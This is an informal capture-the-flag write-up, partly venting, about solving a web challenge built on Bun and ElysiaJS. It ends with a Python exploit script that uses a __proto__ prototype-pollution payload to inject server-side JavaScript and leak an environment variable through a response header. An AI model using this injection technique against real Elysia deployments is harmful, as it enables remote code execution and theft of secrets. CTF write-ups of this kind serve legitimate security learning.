if you’re looking to read a good writeup please read CompleteHTTP or compiled-source sheets, i’m proud of those, this was more a venting session than a writeup
I’m sorry if i’m being less professional i’m just getting REALLY frustrated thinking about mineguesser and this challenge was also lowk really frustrating too
Ok so I don’t even know WHAT i was doing before like I really should have caught on to the hidden meaning of “don’t worry I told claude to make no mistakes” a LOT earlier on
My partner @muexsys handled the other two web challenges, but he just couldn’t figure this one out for the life of him. At some point after he had already gone home, I asked him
“did they use bun and complicated ass dependencies for the other challenges?”
answer: NO
at that point the hidden meaning of “don’t worry I told claude to make no mistakes” started materializing in my brain and i searched for elysiajs vulnerabilities and i clicked on the first one, saw “RCE”, kept reading, and NEARLY LOST IT when I saw
of course he had to remove the poc repo, so I went on archive.org, looked it up, and saw it had ONE fork. After searching on github for like two minutes, i found it, at https://github.com/passwa11/elysia-poc
ngl i’m being so fr, i thought the exploit was inside rce.ts because theres no way it could be that simple to just put in the README and i never bothered scrolling all the way down on archive.org frick me bro
anyhow, I read the example rce poc literally right there in the README, verified that the config was vulnerable, and then wrote the exploit script:
import requests
URL = "https://b3392748-20cd-4db9-bc79-ebaf922fffc4.play.gaslightctf.cooking:1337"
with requests.Session() as s:
print("[*] register victim")
r = s.post(
f"{URL}/auth/register",
data={
"username": "technodot",
"password": "password"
}
)
r.raise_for_status()
print(r.content)
print()
print("[*] query storage")
r = s.post(
f"{URL}/storage",
data={"key": "thing", "value": '"x"'},
)
r.raise_for_status()
print(r.content)
print()
print("[*] inject object")
r = s.put(
f"{URL}/storage/thing",
json={
"value": '"x"',
"__proto__": {
"cookie": {},
"domain": "' + (c.set.headers['X-Flag']=process.env.FLAG,'localhost') + '", # here
},
},
)
r.raise_for_status()
print(r.content)
print()
print("[*] read flag")
r = s.get(f"{URL}/storage/thing/edit")
if (flag := r.headers.get("X-Flag")) is None:
print(f"exploit failed: {r.status_code}")
exit()
print(r.content)
print()
print(f"[*] flag: {flag}")